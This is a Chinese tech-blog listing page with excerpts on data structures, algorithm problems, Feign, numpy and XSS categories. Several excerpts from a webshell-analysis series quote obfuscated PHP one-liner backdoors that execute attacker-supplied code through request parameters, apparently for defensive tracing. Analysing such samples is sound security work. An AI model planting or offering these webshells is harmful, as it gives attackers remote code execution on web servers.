其实是数据结构。 智推连续几天给我推树状数组的模板,还放在第一位…… 对着蓝书的图看了好几天才看懂,树状数组的另外一个名字是二叉索引树,指通过把一个数组抽象的变形成树状的以求得到树形数据结构的效果。有人说是线段树的阉割版,我不太清楚,树状数组应该是不支持区间修改加速的。 首先我们需要理解lowbit ...
分类:
编程语言 时间:
2019-11-10 15:34:40
阅读次数:
64
contest1 A. 最大子段和 描述 从这个序列中选出不相交的两个连续段,要求它们的和最大。 输入 第一行一个正整数nn,表示序列长度。 接下来一行n 个整数a1,a2 , a3 ,..., an ,表示题目描述中的序列。 输出 一行一个整数表示最大值。 样例 输入 7 2 -4 3 -1 2 ...
分类:
其他好文 时间:
2019-11-05 21:54:51
阅读次数:
120
题目链接: "https://www.luogu.org/problem/P1144" 其实这道题目是最短路的变形题,因为数据范围 $N \le 10^6, M \le 2 \times 10^6$ ,所以直接用Dijkstra算法是不行的,可以使用 Dijkstra+堆优化 或者 SPFA算法来实 ...
分类:
其他好文 时间:
2019-11-04 21:25:55
阅读次数:
70
WebShell代码分析溯源(十一) 一、一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ($e, $_REQUEST['GET']);?> 二、代码分析 1、调整代码格式 2、分析代码 2.1、首 ...
分类:
Web程序 时间:
2019-11-03 15:01:25
阅读次数:
89
WebShell代码分析溯源(九) 一、一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');?> 二、代码分析 1、调整代码格式 2、分析代码 1、首 ...
分类:
Web程序 时间:
2019-11-02 15:55:35
阅读次数:
94
什么是Feign? Feign 的英文表意为“假装,伪装,变形”, 是一个http请求调用的轻量级框架,可以以Java接口注解的方式调用Http请求,而不用像Java中通过封装HTTP请求报文的方式直接调用。Feign通过处理注解,将请求模板化,当实际调用的时候,传入参数,根据参数再应用到请求上,进 ...
分类:
编程语言 时间:
2019-11-01 16:48:46
阅读次数:
113
XSS的种类 反射型XSS 你提交的数据成功的实现了XSS(非持续性攻击) 存储型XSS 你提交的数据成功的实现了XSS 存入数据库 访问时自动触发(持久型) DOM型XSS 存储型的一种变形 XSS的危害 盗取Cookie 内网IP 存储在浏览器上的明文密码 截取网页屏幕 网页上的键盘记录 ...
分类:
其他好文 时间:
2019-11-01 13:16:31
阅读次数:
95
WebShell代码分析溯源(五) 一、一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e)); ?> 二、代码分析 1、调整代码格式 2、分析代码 首先使用R ...
分类:
Web程序 时间:
2019-11-01 13:12:58
阅读次数:
107
在学习python的时候常常需要numpy这个库,每次都是用一个查一个,这个,终于见到一个完整的总结了http://blog.csdn.net/blog_empire/article/details/39298557 一、数组方法 创建数组:arange()创建一维数组;array()创建一维或多维 ...
分类:
其他好文 时间:
2019-10-31 18:21:09
阅读次数:
111
WebShell代码分析溯源(四) 一、一句话变形马样本 <?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").(" ...
分类:
Web程序 时间:
2019-10-31 13:27:58
阅读次数:
147